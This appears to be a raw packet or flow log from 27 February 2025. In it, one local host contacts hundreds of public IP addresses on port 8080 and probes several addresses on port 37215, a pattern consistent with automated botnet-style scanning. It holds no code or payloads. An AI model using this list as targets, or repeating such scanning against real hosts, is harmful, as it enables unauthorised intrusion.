Feb 27, 2025 07:08:34.542674065 CET	25538	8080	192.168.2.14	85.75.247.77
Feb 27, 2025 07:08:34.542951107 CET	8080	25538	95.224.208.211	192.168.2.14
Feb 27, 2025 07:08:34.542962074 CET	8080	25538	31.197.193.44	192.168.2.14
Feb 27, 2025 07:08:34.542970896 CET	8080	25538	62.207.220.254	192.168.2.14
Feb 27, 2025 07:08:34.542980909 CET	8080	25538	94.63.30.150	192.168.2.14
Feb 27, 2025 07:08:34.542990923 CET	8080	25538	31.16.14.29	192.168.2.14
Feb 27, 2025 07:08:34.542990923 CET	25538	8080	192.168.2.14	95.224.208.211
Feb 27, 2025 07:08:34.542994976 CET	25538	8080	192.168.2.14	31.197.193.44
Feb 27, 2025 07:08:34.543001890 CET	8080	25538	85.145.205.197	192.168.2.14
Feb 27, 2025 07:08:34.543013096 CET	8080	25538	94.129.246.132	192.168.2.14
Feb 27, 2025 07:08:34.543015003 CET	25538	8080	192.168.2.14	62.207.220.254
Feb 27, 2025 07:08:34.543015957 CET	25538	8080	192.168.2.14	94.63.30.150
Feb 27, 2025 07:08:34.543020010 CET	25538	8080	192.168.2.14	31.16.14.29
Feb 27, 2025 07:08:34.543024063 CET	8080	25538	85.232.197.96	192.168.2.14
Feb 27, 2025 07:08:34.543036938 CET	8080	25538	31.138.99.25	192.168.2.14
Feb 27, 2025 07:08:34.543039083 CET	25538	8080	192.168.2.14	85.145.205.197
Feb 27, 2025 07:08:34.543040991 CET	25538	8080	192.168.2.14	94.129.246.132
Feb 27, 2025 07:08:34.543067932 CET	8080	25538	85.49.187.15	192.168.2.14
Feb 27, 2025 07:08:34.543076992 CET	25538	8080	192.168.2.14	85.232.197.96
Feb 27, 2025 07:08:34.543080091 CET	8080	25538	95.193.76.140	192.168.2.14
Feb 27, 2025 07:08:34.543088913 CET	8080	25538	85.205.91.28	192.168.2.14
Feb 27, 2025 07:08:34.543100119 CET	25538	8080	192.168.2.14	31.138.99.25
Feb 27, 2025 07:08:34.543100119 CET	8080	25538	94.112.82.53	192.168.2.14
Feb 27, 2025 07:08:34.543109894 CET	25538	8080	192.168.2.14	85.49.187.15
Feb 27, 2025 07:08:34.543112993 CET	8080	25538	31.115.110.108	192.168.2.14
Feb 27, 2025 07:08:34.543121099 CET	25538	8080	192.168.2.14	95.193.76.140
Feb 27, 2025 07:08:34.543123007 CET	8080	25538	95.43.53.117	192.168.2.14
Feb 27, 2025 07:08:34.543133020 CET	8080	25538	62.69.109.206	192.168.2.14
Feb 27, 2025 07:08:34.543133020 CET	25538	8080	192.168.2.14	94.112.82.53
Feb 27, 2025 07:08:34.543138981 CET	25538	8080	192.168.2.14	85.205.91.28
Feb 27, 2025 07:08:34.543143034 CET	8080	25538	95.0.90.134	192.168.2.14
Feb 27, 2025 07:08:34.543145895 CET	25538	8080	192.168.2.14	31.115.110.108
Feb 27, 2025 07:08:34.543145895 CET	25538	8080	192.168.2.14	95.43.53.117
Feb 27, 2025 07:08:34.543153048 CET	8080	25538	95.142.154.209	192.168.2.14
Feb 27, 2025 07:08:34.543164015 CET	8080	25538	95.244.172.114	192.168.2.14
Feb 27, 2025 07:08:34.543164015 CET	25538	8080	192.168.2.14	62.69.109.206
Feb 27, 2025 07:08:34.543164015 CET	25538	8080	192.168.2.14	95.0.90.134
Feb 27, 2025 07:08:34.543174028 CET	8080	25538	85.188.193.220	192.168.2.14
Feb 27, 2025 07:08:34.543198109 CET	25538	8080	192.168.2.14	95.142.154.209
Feb 27, 2025 07:08:34.543205976 CET	25538	8080	192.168.2.14	95.244.172.114
Feb 27, 2025 07:08:34.543210030 CET	25538	8080	192.168.2.14	85.188.193.220
Feb 27, 2025 07:08:34.543503046 CET	52396	37215	192.168.2.14	197.135.26.133
Feb 27, 2025 07:08:34.544827938 CET	60616	37215	192.168.2.14	197.131.88.25
Feb 27, 2025 07:08:34.545434952 CET	8080	25538	62.250.64.34	192.168.2.14
Feb 27, 2025 07:08:34.545447111 CET	8080	25538	85.254.140.16	192.168.2.14
Feb 27, 2025 07:08:34.545454979 CET	8080	25538	31.251.182.175	192.168.2.14
Feb 27, 2025 07:08:34.545470953 CET	25538	8080	192.168.2.14	62.250.64.34
Feb 27, 2025 07:08:34.545476913 CET	8080	25538	85.224.247.104	192.168.2.14
Feb 27, 2025 07:08:34.545481920 CET	25538	8080	192.168.2.14	85.254.140.16
Feb 27, 2025 07:08:34.545488119 CET	25538	8080	192.168.2.14	31.251.182.175
Feb 27, 2025 07:08:34.545490026 CET	8080	25538	94.173.120.24	192.168.2.14
Feb 27, 2025 07:08:34.545497894 CET	8080	25538	85.22.149.186	192.168.2.14
Feb 27, 2025 07:08:34.545507908 CET	8080	25538	31.218.77.28	192.168.2.14
Feb 27, 2025 07:08:34.545519114 CET	8080	25538	62.36.106.223	192.168.2.14
Feb 27, 2025 07:08:34.545520067 CET	25538	8080	192.168.2.14	94.173.120.24
Feb 27, 2025 07:08:34.545523882 CET	25538	8080	192.168.2.14	85.224.247.104
Feb 27, 2025 07:08:34.545530081 CET	25538	8080	192.168.2.14	85.22.149.186
Feb 27, 2025 07:08:34.545531034 CET	8080	25538	62.115.55.184	192.168.2.14
Feb 27, 2025 07:08:34.545540094 CET	25538	8080	192.168.2.14	31.218.77.28
Feb 27, 2025 07:08:34.545542002 CET	8080	25538	62.132.211.191	192.168.2.14
Feb 27, 2025 07:08:34.545546055 CET	25538	8080	192.168.2.14	62.36.106.223
Feb 27, 2025 07:08:34.545552015 CET	8080	25538	95.149.67.42	192.168.2.14
Feb 27, 2025 07:08:34.545562983 CET	8080	25538	85.167.133.151	192.168.2.14
Feb 27, 2025 07:08:34.545572996 CET	8080	25538	85.56.208.25	192.168.2.14
Feb 27, 2025 07:08:34.545574903 CET	25538	8080	192.168.2.14	62.132.211.191
Feb 27, 2025 07:08:34.545583010 CET	8080	25538	94.160.167.46	192.168.2.14
Feb 27, 2025 07:08:34.545584917 CET	25538	8080	192.168.2.14	62.115.55.184
Feb 27, 2025 07:08:34.545584917 CET	25538	8080	192.168.2.14	95.149.67.42
Feb 27, 2025 07:08:34.545593977 CET	8080	25538	85.50.187.88	192.168.2.14
Feb 27, 2025 07:08:34.545595884 CET	25538	8080	192.168.2.14	85.167.133.151
Feb 27, 2025 07:08:34.545603991 CET	8080	25538	95.70.51.140	192.168.2.14
Feb 27, 2025 07:08:34.545613050 CET	25538	8080	192.168.2.14	94.160.167.46
Feb 27, 2025 07:08:34.545615911 CET	8080	25538	94.143.145.160	192.168.2.14
Feb 27, 2025 07:08:34.545618057 CET	25538	8080	192.168.2.14	85.56.208.25
Feb 27, 2025 07:08:34.545620918 CET	25538	8080	192.168.2.14	85.50.187.88
Feb 27, 2025 07:08:34.545625925 CET	8080	25538	31.29.71.198	192.168.2.14
Feb 27, 2025 07:08:34.545635939 CET	8080	25538	62.48.237.58	192.168.2.14
Feb 27, 2025 07:08:34.545643091 CET	25538	8080	192.168.2.14	95.70.51.140
Feb 27, 2025 07:08:34.545645952 CET	8080	25538	31.245.162.220	192.168.2.14
Feb 27, 2025 07:08:34.545655966 CET	8080	25538	62.221.182.172	192.168.2.14
Feb 27, 2025 07:08:34.545659065 CET	25538	8080	192.168.2.14	31.29.71.198
Feb 27, 2025 07:08:34.545663118 CET	25538	8080	192.168.2.14	94.143.145.160
Feb 27, 2025 07:08:34.545676947 CET	25538	8080	192.168.2.14	62.48.237.58
Feb 27, 2025 07:08:34.545681953 CET	25538	8080	192.168.2.14	31.245.162.220
Feb 27, 2025 07:08:34.545682907 CET	25538	8080	192.168.2.14	62.221.182.172
Feb 27, 2025 07:08:34.546267986 CET	33136	37215	192.168.2.14	197.65.23.177
Feb 27, 2025 07:08:34.547197104 CET	8080	25538	31.1.201.199	192.168.2.14
Feb 27, 2025 07:08:34.547208071 CET	8080	25538	62.210.42.102	192.168.2.14
Feb 27, 2025 07:08:34.547219038 CET	8080	25538	31.224.163.220	192.168.2.14
Feb 27, 2025 07:08:34.547233105 CET	8080	25538	85.92.12.58	192.168.2.14
Feb 27, 2025 07:08:34.547245026 CET	8080	25538	62.15.40.166	192.168.2.14
Feb 27, 2025 07:08:34.547257900 CET	8080	25538	94.238.67.13	192.168.2.14
Feb 27, 2025 07:08:34.547270060 CET	25538	8080	192.168.2.14	31.224.163.220
Feb 27, 2025 07:08:34.547270060 CET	8080	25538	94.23.125.153	192.168.2.14
Feb 27, 2025 07:08:34.547276020 CET	25538	8080	192.168.2.14	31.1.201.199
Feb 27, 2025 07:08:34.547286034 CET	8080	25538	62.178.212.174	192.168.2.14
Feb 27, 2025 07:08:34.547300100 CET	8080	25538	31.176.213.92	192.168.2.14
Feb 27, 2025 07:08:34.547310114 CET	25538	8080	192.168.2.14	62.210.42.102
Feb 27, 2025 07:08:34.547322989 CET	8080	25538	31.194.113.166	192.168.2.14
Feb 27, 2025 07:08:34.547323942 CET	25538	8080	192.168.2.14	85.92.12.58
Feb 27, 2025 07:08:34.547324896 CET	25538	8080	192.168.2.14	62.15.40.166
Feb 27, 2025 07:08:34.547332048 CET	25538	8080	192.168.2.14	94.238.67.13
Feb 27, 2025 07:08:34.547332048 CET	25538	8080	192.168.2.14	31.176.213.92
Feb 27, 2025 07:08:34.547333002 CET	25538	8080	192.168.2.14	94.23.125.153
Feb 27, 2025 07:08:34.547338009 CET	8080	25538	31.166.115.179	192.168.2.14
Feb 27, 2025 07:08:34.547338009 CET	25538	8080	192.168.2.14	62.178.212.174
Feb 27, 2025 07:08:34.547349930 CET	8080	25538	62.146.217.182	192.168.2.14
Feb 27, 2025 07:08:34.547357082 CET	25538	8080	192.168.2.14	31.194.113.166
Feb 27, 2025 07:08:34.547362089 CET	8080	25538	94.183.238.187	192.168.2.14
Feb 27, 2025 07:08:34.547374964 CET	8080	25538	31.79.110.242	192.168.2.14
Feb 27, 2025 07:08:34.547377110 CET	25538	8080	192.168.2.14	31.166.115.179
Feb 27, 2025 07:08:34.547388077 CET	8080	25538	62.70.114.166	192.168.2.14
Feb 27, 2025 07:08:34.547401905 CET	8080	25538	85.147.126.93	192.168.2.14
Feb 27, 2025 07:08:34.547414064 CET	8080	25538	85.195.17.121	192.168.2.14
Feb 27, 2025 07:08:34.547420025 CET	25538	8080	192.168.2.14	62.146.217.182
Feb 27, 2025 07:08:34.547420025 CET	25538	8080	192.168.2.14	94.183.238.187
Feb 27, 2025 07:08:34.547426939 CET	8080	25538	94.137.4.135	192.168.2.14
Feb 27, 2025 07:08:34.547429085 CET	25538	8080	192.168.2.14	31.79.110.242
Feb 27, 2025 07:08:34.547435999 CET	25538	8080	192.168.2.14	62.70.114.166
Feb 27, 2025 07:08:34.547441959 CET	8080	25538	85.135.12.152	192.168.2.14
Feb 27, 2025 07:08:34.547451973 CET	25538	8080	192.168.2.14	85.147.126.93
Feb 27, 2025 07:08:34.547455072 CET	8080	25538	62.151.208.185	192.168.2.14
Feb 27, 2025 07:08:34.547467947 CET	8080	25538	31.28.239.130	192.168.2.14
Feb 27, 2025 07:08:34.547480106 CET	8080	25538	31.125.139.63	192.168.2.14
Feb 27, 2025 07:08:34.547492027 CET	25538	8080	192.168.2.14	85.195.17.121
Feb 27, 2025 07:08:34.547492027 CET	25538	8080	192.168.2.14	62.151.208.185
Feb 27, 2025 07:08:34.547493935 CET	8080	25538	95.13.160.129	192.168.2.14
Feb 27, 2025 07:08:34.547503948 CET	25538	8080	192.168.2.14	31.28.239.130
Feb 27, 2025 07:08:34.547511101 CET	8080	25538	62.26.26.249	192.168.2.14
Feb 27, 2025 07:08:34.547524929 CET	8080	25538	85.177.212.121	192.168.2.14
Feb 27, 2025 07:08:34.547538042 CET	8080	25538	62.61.104.61	192.168.2.14
Feb 27, 2025 07:08:34.547548056 CET	25538	8080	192.168.2.14	95.13.160.129
Feb 27, 2025 07:08:34.547548056 CET	25538	8080	192.168.2.14	62.26.26.249
Feb 27, 2025 07:08:34.547549963 CET	8080	25538	95.87.122.236	192.168.2.14
Feb 27, 2025 07:08:34.547552109 CET	25538	8080	192.168.2.14	94.137.4.135
Feb 27, 2025 07:08:34.547552109 CET	25538	8080	192.168.2.14	85.135.12.152
Feb 27, 2025 07:08:34.547557116 CET	25538	8080	192.168.2.14	31.125.139.63
Feb 27, 2025 07:08:34.547561884 CET	8080	25538	62.44.33.39	192.168.2.14
Feb 27, 2025 07:08:34.547568083 CET	25538	8080	192.168.2.14	62.61.104.61
Feb 27, 2025 07:08:34.547576904 CET	8080	25538	85.193.34.220	192.168.2.14
Feb 27, 2025 07:08:34.547578096 CET	25538	8080	192.168.2.14	85.177.212.121
Feb 27, 2025 07:08:34.547597885 CET	8080	25538	31.200.137.59	192.168.2.14
Feb 27, 2025 07:08:34.547616959 CET	25538	8080	192.168.2.14	85.193.34.220
Feb 27, 2025 07:08:34.547621012 CET	8080	25538	85.117.172.73	192.168.2.14
Feb 27, 2025 07:08:34.547622919 CET	25538	8080	192.168.2.14	62.44.33.39
Feb 27, 2025 07:08:34.547633886 CET	8080	25538	95.238.124.142	192.168.2.14
Feb 27, 2025 07:08:34.547643900 CET	25538	8080	192.168.2.14	95.87.122.236
Feb 27, 2025 07:08:34.547647953 CET	8080	25538	85.0.143.104	192.168.2.14
Feb 27, 2025 07:08:34.547656059 CET	25538	8080	192.168.2.14	85.117.172.73
Feb 27, 2025 07:08:34.547661066 CET	8080	25538	94.187.29.125	192.168.2.14
Feb 27, 2025 07:08:34.547668934 CET	25538	8080	192.168.2.14	31.200.137.59
Feb 27, 2025 07:08:34.547672987 CET	25538	8080	192.168.2.14	95.238.124.142
Feb 27, 2025 07:08:34.547673941 CET	8080	25538	31.175.79.24	192.168.2.14
Feb 27, 2025 07:08:34.547677994 CET	25538	8080	192.168.2.14	85.0.143.104
Feb 27, 2025 07:08:34.547686100 CET	8080	25538	85.145.224.207	192.168.2.14
Feb 27, 2025 07:08:34.547696114 CET	25538	8080	192.168.2.14	94.187.29.125
Feb 27, 2025 07:08:34.547698021 CET	8080	25538	62.115.120.150	192.168.2.14
Feb 27, 2025 07:08:34.547713995 CET	8080	25538	95.8.134.16	192.168.2.14
Feb 27, 2025 07:08:34.547728062 CET	8080	25538	94.136.164.46	192.168.2.14
Feb 27, 2025 07:08:34.547739983 CET	8080	25538	95.173.74.48	192.168.2.14
Feb 27, 2025 07:08:34.547740936 CET	25538	8080	192.168.2.14	85.145.224.207
Feb 27, 2025 07:08:34.547744989 CET	25538	8080	192.168.2.14	31.175.79.24
Feb 27, 2025 07:08:34.547791958 CET	25538	8080	192.168.2.14	95.8.134.16
Feb 27, 2025 07:08:34.547801971 CET	25538	8080	192.168.2.14	62.115.120.150
Feb 27, 2025 07:08:34.547801971 CET	25538	8080	192.168.2.14	95.173.74.48
Feb 27, 2025 07:08:34.547811985 CET	25538	8080	192.168.2.14	94.136.164.46
Feb 27, 2025 07:08:34.548120022 CET	8080	25538	62.236.0.55	192.168.2.14
Feb 27, 2025 07:08:34.548135996 CET	8080	25538	95.246.58.146	192.168.2.14
Feb 27, 2025 07:08:34.548147917 CET	8080	25538	94.80.133.89	192.168.2.14
Feb 27, 2025 07:08:34.548161030 CET	8080	25538	95.246.127.172	192.168.2.14
Feb 27, 2025 07:08:34.548172951 CET	8080	25538	85.138.181.105	192.168.2.14
Feb 27, 2025 07:08:34.548175097 CET	25538	8080	192.168.2.14	62.236.0.55
Feb 27, 2025 07:08:34.548181057 CET	25538	8080	192.168.2.14	95.246.58.146
Feb 27, 2025 07:08:34.548198938 CET	8080	25538	95.51.71.249	192.168.2.14
Feb 27, 2025 07:08:34.548207045 CET	25538	8080	192.168.2.14	94.80.133.89
Feb 27, 2025 07:08:34.548207045 CET	25538	8080	192.168.2.14	95.246.127.172
Feb 27, 2025 07:08:34.548211098 CET	8080	25538	94.219.217.127	192.168.2.14
Feb 27, 2025 07:08:34.548218966 CET	8080	25538	94.67.45.81	192.168.2.14
Feb 27, 2025 07:08:34.548227072 CET	8080	25538	62.172.198.220	192.168.2.14
Feb 27, 2025 07:08:34.548238993 CET	8080	25538	94.163.178.20	192.168.2.14
Feb 27, 2025 07:08:34.548249006 CET	25538	8080	192.168.2.14	94.219.217.127
Feb 27, 2025 07:08:34.548250914 CET	8080	25538	62.95.26.185	192.168.2.14
Feb 27, 2025 07:08:34.548264027 CET	8080	25538	62.121.6.117	192.168.2.14
Feb 27, 2025 07:08:34.548275948 CET	8080	25538	85.23.194.180	192.168.2.14
Feb 27, 2025 07:08:34.548289061 CET	8080	25538	95.107.56.148	192.168.2.14
Feb 27, 2025 07:08:34.548301935 CET	8080	25538	85.138.250.138	192.168.2.14
Feb 27, 2025 07:08:34.548316002 CET	8080	25538	62.25.151.2	192.168.2.14
Feb 27, 2025 07:08:34.548326969 CET	25538	8080	192.168.2.14	85.23.194.180
Feb 27, 2025 07:08:34.548326969 CET	25538	8080	192.168.2.14	94.67.45.81
Feb 27, 2025 07:08:34.548329115 CET	8080	25538	95.217.16.97	192.168.2.14
Feb 27, 2025 07:08:34.548329115 CET	25538	8080	192.168.2.14	95.51.71.249
Feb 27, 2025 07:08:34.548329115 CET	25538	8080	192.168.2.14	85.138.181.105
Feb 27, 2025 07:08:34.548332930 CET	25538	8080	192.168.2.14	95.107.56.148
Feb 27, 2025 07:08:34.548343897 CET	8080	25538	94.74.54.206	192.168.2.14
Feb 27, 2025 07:08:34.548357964 CET	8080	25538	95.220.124.18	192.168.2.14
Feb 27, 2025 07:08:34.548362017 CET	25538	8080	192.168.2.14	62.172.198.220
Feb 27, 2025 07:08:34.548363924 CET	25538	8080	192.168.2.14	62.95.26.185
Feb 27, 2025 07:08:34.548363924 CET	25538	8080	192.168.2.14	62.121.6.117
Feb 27, 2025 07:08:34.548367977 CET	25538	8080	192.168.2.14	94.163.178.20
Feb 27, 2025 07:08:34.548369884 CET	8080	25538	94.204.222.243	192.168.2.14
Feb 27, 2025 07:08:34.548378944 CET	25538	8080	192.168.2.14	95.217.16.97
Feb 27, 2025 07:08:34.548383951 CET	8080	25538	85.64.104.39	192.168.2.14
Feb 27, 2025 07:08:34.548391104 CET	25538	8080	192.168.2.14	62.25.151.2
Feb 27, 2025 07:08:34.548391104 CET	25538	8080	192.168.2.14	85.138.250.138
Feb 27, 2025 07:08:34.548398018 CET	25538	8080	192.168.2.14	95.220.124.18
Feb 27, 2025 07:08:34.548413038 CET	25538	8080	192.168.2.14	94.74.54.206
Feb 27, 2025 07:08:34.548420906 CET	25538	8080	192.168.2.14	94.204.222.243
Feb 27, 2025 07:08:34.548425913 CET	25538	8080	192.168.2.14	85.64.104.39
Feb 27, 2025 07:08:34.549747944 CET	40784	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.550601959 CET	8080	25538	85.238.196.84	192.168.2.14
Feb 27, 2025 07:08:34.550615072 CET	8080	25538	85.71.68.112	192.168.2.14
Feb 27, 2025 07:08:34.550636053 CET	8080	25538	31.88.186.245	192.168.2.14
Feb 27, 2025 07:08:34.550648928 CET	8080	25538	85.228.83.56	192.168.2.14
Feb 27, 2025 07:08:34.550648928 CET	25538	8080	192.168.2.14	85.238.196.84
Feb 27, 2025 07:08:34.550662041 CET	8080	25538	62.37.94.112	192.168.2.14
Feb 27, 2025 07:08:34.550662041 CET	25538	8080	192.168.2.14	85.71.68.112
Feb 27, 2025 07:08:34.550668955 CET	25538	8080	192.168.2.14	31.88.186.245
Feb 27, 2025 07:08:34.550673008 CET	8080	25538	62.126.83.37	192.168.2.14
Feb 27, 2025 07:08:34.550684929 CET	8080	25538	95.117.97.142	192.168.2.14
Feb 27, 2025 07:08:34.550695896 CET	25538	8080	192.168.2.14	85.228.83.56
Feb 27, 2025 07:08:34.550698996 CET	25538	8080	192.168.2.14	62.37.94.112
Feb 27, 2025 07:08:34.550698996 CET	8080	25538	31.117.209.247	192.168.2.14
Feb 27, 2025 07:08:34.550705910 CET	25538	8080	192.168.2.14	62.126.83.37
Feb 27, 2025 07:08:34.550713062 CET	8080	25538	94.36.171.10	192.168.2.14
Feb 27, 2025 07:08:34.550719976 CET	25538	8080	192.168.2.14	95.117.97.142
Feb 27, 2025 07:08:34.550725937 CET	8080	25538	31.5.224.68	192.168.2.14
Feb 27, 2025 07:08:34.550734043 CET	25538	8080	192.168.2.14	31.117.209.247
Feb 27, 2025 07:08:34.550738096 CET	8080	25538	85.202.133.53	192.168.2.14
Feb 27, 2025 07:08:34.550750017 CET	8080	25538	62.22.155.8	192.168.2.14
Feb 27, 2025 07:08:34.550754070 CET	25538	8080	192.168.2.14	94.36.171.10
Feb 27, 2025 07:08:34.550757885 CET	25538	8080	192.168.2.14	31.5.224.68
Feb 27, 2025 07:08:34.550764084 CET	8080	25538	62.63.140.222	192.168.2.14
Feb 27, 2025 07:08:34.550771952 CET	25538	8080	192.168.2.14	85.202.133.53
Feb 27, 2025 07:08:34.550776005 CET	8080	25538	31.148.146.42	192.168.2.14
Feb 27, 2025 07:08:34.550789118 CET	8080	25538	94.224.193.58	192.168.2.14
Feb 27, 2025 07:08:34.550793886 CET	25538	8080	192.168.2.14	62.22.155.8
Feb 27, 2025 07:08:34.550806046 CET	25538	8080	192.168.2.14	62.63.140.222
Feb 27, 2025 07:08:34.550812960 CET	25538	8080	192.168.2.14	31.148.146.42
Feb 27, 2025 07:08:34.550816059 CET	8080	25538	31.6.89.174	192.168.2.14
Feb 27, 2025 07:08:34.550825119 CET	25538	8080	192.168.2.14	94.224.193.58
Feb 27, 2025 07:08:34.550827026 CET	8080	25538	95.67.118.84	192.168.2.14
Feb 27, 2025 07:08:34.550838947 CET	8080	25538	85.103.62.107	192.168.2.14
Feb 27, 2025 07:08:34.550851107 CET	8080	25538	95.121.130.94	192.168.2.14
Feb 27, 2025 07:08:34.550852060 CET	25538	8080	192.168.2.14	31.6.89.174
Feb 27, 2025 07:08:34.550863028 CET	8080	25538	62.41.51.220	192.168.2.14
Feb 27, 2025 07:08:34.550877094 CET	25538	8080	192.168.2.14	95.121.130.94
Feb 27, 2025 07:08:34.550880909 CET	25538	8080	192.168.2.14	95.67.118.84
Feb 27, 2025 07:08:34.550884008 CET	25538	8080	192.168.2.14	85.103.62.107
Feb 27, 2025 07:08:34.550896883 CET	25538	8080	192.168.2.14	62.41.51.220
Feb 27, 2025 07:08:34.551608086 CET	56490	37215	192.168.2.14	197.122.201.4
Feb 27, 2025 07:08:34.552167892 CET	8080	25538	94.194.82.78	192.168.2.14
Feb 27, 2025 07:08:34.552181005 CET	8080	25538	95.189.119.238	192.168.2.14
Feb 27, 2025 07:08:34.552191019 CET	8080	25538	31.89.106.208	192.168.2.14
Feb 27, 2025 07:08:34.552202940 CET	8080	25538	95.23.113.93	192.168.2.14
Feb 27, 2025 07:08:34.552213907 CET	8080	25538	95.99.96.229	192.168.2.14
Feb 27, 2025 07:08:34.552218914 CET	25538	8080	192.168.2.14	95.189.119.238
Feb 27, 2025 07:08:34.552217960 CET	25538	8080	192.168.2.14	94.194.82.78
Feb 27, 2025 07:08:34.552226067 CET	8080	25538	62.233.239.17	192.168.2.14
Feb 27, 2025 07:08:34.552234888 CET	25538	8080	192.168.2.14	31.89.106.208
Feb 27, 2025 07:08:34.552239895 CET	8080	25538	85.223.106.54	192.168.2.14
Feb 27, 2025 07:08:34.552242994 CET	25538	8080	192.168.2.14	95.23.113.93
Feb 27, 2025 07:08:34.552246094 CET	25538	8080	192.168.2.14	95.99.96.229
Feb 27, 2025 07:08:34.552251101 CET	8080	25538	94.12.133.217	192.168.2.14
Feb 27, 2025 07:08:34.552263975 CET	8080	25538	95.174.148.46	192.168.2.14
Feb 27, 2025 07:08:34.552268982 CET	25538	8080	192.168.2.14	62.233.239.17
Feb 27, 2025 07:08:34.552277088 CET	8080	25538	85.206.190.89	192.168.2.14
Feb 27, 2025 07:08:34.552289009 CET	8080	25538	95.160.19.43	192.168.2.14
Feb 27, 2025 07:08:34.552292109 CET	25538	8080	192.168.2.14	85.223.106.54
Feb 27, 2025 07:08:34.552292109 CET	25538	8080	192.168.2.14	94.12.133.217
Feb 27, 2025 07:08:34.552299976 CET	25538	8080	192.168.2.14	95.174.148.46
Feb 27, 2025 07:08:34.552300930 CET	8080	25538	95.171.184.209	192.168.2.14
Feb 27, 2025 07:08:34.552305937 CET	25538	8080	192.168.2.14	85.206.190.89
Feb 27, 2025 07:08:34.552314043 CET	8080	25538	62.35.230.251	192.168.2.14
Feb 27, 2025 07:08:34.552326918 CET	8080	25538	95.224.250.108	192.168.2.14
Feb 27, 2025 07:08:34.552330971 CET	25538	8080	192.168.2.14	95.160.19.43
Feb 27, 2025 07:08:34.552339077 CET	8080	25538	95.106.80.13	192.168.2.14
Feb 27, 2025 07:08:34.552347898 CET	25538	8080	192.168.2.14	95.171.184.209
Feb 27, 2025 07:08:34.552351952 CET	8080	25538	85.85.253.109	192.168.2.14
Feb 27, 2025 07:08:34.552361012 CET	25538	8080	192.168.2.14	62.35.230.251
Feb 27, 2025 07:08:34.552362919 CET	25538	8080	192.168.2.14	95.224.250.108
Feb 27, 2025 07:08:34.552364111 CET	25538	8080	192.168.2.14	95.106.80.13
Feb 27, 2025 07:08:34.552365065 CET	8080	25538	62.54.206.145	192.168.2.14
Feb 27, 2025 07:08:34.552377939 CET	8080	25538	95.61.93.92	192.168.2.14
Feb 27, 2025 07:08:34.552386045 CET	25538	8080	192.168.2.14	85.85.253.109
Feb 27, 2025 07:08:34.552391052 CET	8080	25538	95.242.58.128	192.168.2.14
Feb 27, 2025 07:08:34.552402973 CET	8080	25538	94.202.156.52	192.168.2.14
Feb 27, 2025 07:08:34.552411079 CET	25538	8080	192.168.2.14	62.54.206.145
Feb 27, 2025 07:08:34.552414894 CET	25538	8080	192.168.2.14	95.61.93.92
Feb 27, 2025 07:08:34.552417994 CET	8080	25538	85.29.245.78	192.168.2.14
Feb 27, 2025 07:08:34.552431107 CET	8080	25538	95.215.60.14	192.168.2.14
Feb 27, 2025 07:08:34.552436113 CET	25538	8080	192.168.2.14	95.242.58.128
Feb 27, 2025 07:08:34.552436113 CET	25538	8080	192.168.2.14	94.202.156.52
Feb 27, 2025 07:08:34.552442074 CET	8080	25538	95.105.192.91	192.168.2.14
Feb 27, 2025 07:08:34.552453995 CET	8080	25538	62.31.2.210	192.168.2.14
Feb 27, 2025 07:08:34.552465916 CET	25538	8080	192.168.2.14	95.215.60.14
Feb 27, 2025 07:08:34.552468061 CET	8080	25538	85.116.4.30	192.168.2.14
Feb 27, 2025 07:08:34.552481890 CET	8080	25538	31.250.15.159	192.168.2.14
Feb 27, 2025 07:08:34.552494049 CET	8080	25538	85.129.186.0	192.168.2.14
Feb 27, 2025 07:08:34.552505970 CET	25538	8080	192.168.2.14	62.31.2.210
Feb 27, 2025 07:08:34.552505970 CET	8080	25538	95.194.98.222	192.168.2.14
Feb 27, 2025 07:08:34.552511930 CET	25538	8080	192.168.2.14	85.116.4.30
Feb 27, 2025 07:08:34.552515984 CET	8080	25538	94.181.46.24	192.168.2.14
Feb 27, 2025 07:08:34.552524090 CET	25538	8080	192.168.2.14	85.129.186.0
Feb 27, 2025 07:08:34.552529097 CET	8080	25538	31.38.13.108	192.168.2.14
Feb 27, 2025 07:08:34.552541018 CET	8080	25538	95.127.1.21	192.168.2.14
Feb 27, 2025 07:08:34.552550077 CET	25538	8080	192.168.2.14	94.181.46.24
Feb 27, 2025 07:08:34.552552938 CET	8080	25538	94.37.224.199	192.168.2.14
Feb 27, 2025 07:08:34.552565098 CET	8080	25538	85.137.253.196	192.168.2.14
Feb 27, 2025 07:08:34.552572012 CET	25538	8080	192.168.2.14	31.38.13.108
Feb 27, 2025 07:08:34.552575111 CET	8080	25538	94.46.23.144	192.168.2.14
Feb 27, 2025 07:08:34.552588940 CET	8080	25538	85.152.133.227	192.168.2.14
Feb 27, 2025 07:08:34.552599907 CET	8080	25538	31.38.226.74	192.168.2.14
Feb 27, 2025 07:08:34.552599907 CET	25538	8080	192.168.2.14	94.37.224.199
Feb 27, 2025 07:08:34.552612066 CET	8080	25538	94.176.197.61	192.168.2.14
Feb 27, 2025 07:08:34.552624941 CET	8080	25538	94.251.1.50	192.168.2.14
Feb 27, 2025 07:08:34.552624941 CET	25538	8080	192.168.2.14	85.152.133.227
Feb 27, 2025 07:08:34.552628994 CET	25538	8080	192.168.2.14	94.46.23.144
Feb 27, 2025 07:08:34.552633047 CET	25538	8080	192.168.2.14	31.38.226.74
Feb 27, 2025 07:08:34.552635908 CET	8080	25538	85.47.107.195	192.168.2.14
Feb 27, 2025 07:08:34.552645922 CET	8080	25538	85.164.0.125	192.168.2.14
Feb 27, 2025 07:08:34.552655935 CET	8080	25538	62.96.174.213	192.168.2.14
Feb 27, 2025 07:08:34.552675009 CET	25538	8080	192.168.2.14	85.29.245.78
Feb 27, 2025 07:08:34.552675962 CET	25538	8080	192.168.2.14	95.105.192.91
Feb 27, 2025 07:08:34.552685022 CET	25538	8080	192.168.2.14	31.250.15.159
Feb 27, 2025 07:08:34.552686930 CET	25538	8080	192.168.2.14	95.194.98.222
Feb 27, 2025 07:08:34.552686930 CET	25538	8080	192.168.2.14	62.96.174.213
Feb 27, 2025 07:08:34.552709103 CET	25538	8080	192.168.2.14	94.176.197.61
Feb 27, 2025 07:08:34.552709103 CET	25538	8080	192.168.2.14	94.251.1.50
Feb 27, 2025 07:08:34.552714109 CET	25538	8080	192.168.2.14	85.137.253.196
Feb 27, 2025 07:08:34.552716970 CET	25538	8080	192.168.2.14	95.127.1.21
Feb 27, 2025 07:08:34.552716970 CET	25538	8080	192.168.2.14	85.47.107.195
Feb 27, 2025 07:08:34.552719116 CET	25538	8080	192.168.2.14	85.164.0.125
Feb 27, 2025 07:08:34.553359985 CET	8080	25538	85.192.236.97	192.168.2.14
